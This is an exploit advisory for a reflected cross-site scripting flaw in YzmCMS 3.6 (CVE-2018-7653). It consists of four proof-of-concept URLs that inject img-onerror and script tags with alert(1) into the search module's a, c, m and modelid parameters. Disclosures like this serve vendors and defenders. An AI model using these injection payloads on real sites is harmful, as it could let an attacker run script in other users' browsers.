YzmCMS 3.6 - Cross-Site Scripting

# Exploit Title: YzmCMS 3.6 XSS Vulnerability
# Date: 2018-04-03
# Exploit Author: zzw (zzw@5ecurity.cn)
# Vendor Homepage: http://www.yzmcms.com/
# Software Link: http://www.yzmcms.com/
# Version: 3.6
# CVE : CVE-2018-7653

This is a XSS vulnerability than can attack the users.

poc:

http://localhost/YzmCMS/index.php?m=search&c=index&a=initxqb4n%3Cimg%20src%3da%20onerror%3dalert(1)%3Ecu9rs&modelid=1&q=tes 

http://localhost/YzmCMS/index.php?m=search&c=indexf9q6s%3cimg%20src%3da%20onerror%3dalert(1)%3ej4yck&a=init&modelid=1&q=tes 

http://localhost/YzmCMS/index.php?m=searchr81z4%3cimg%20src%3da%20onerror%3dalert(1)%3eo92wf&c=index&a=init&modelid=1&q=tes 

http://localhost/YzmCMS/index.php?m=search&c=index&a=init&modelid=1b2sgd%22%3e%3cscript%3ealert(1)%3c%2fscript%3eopzx0&q=tes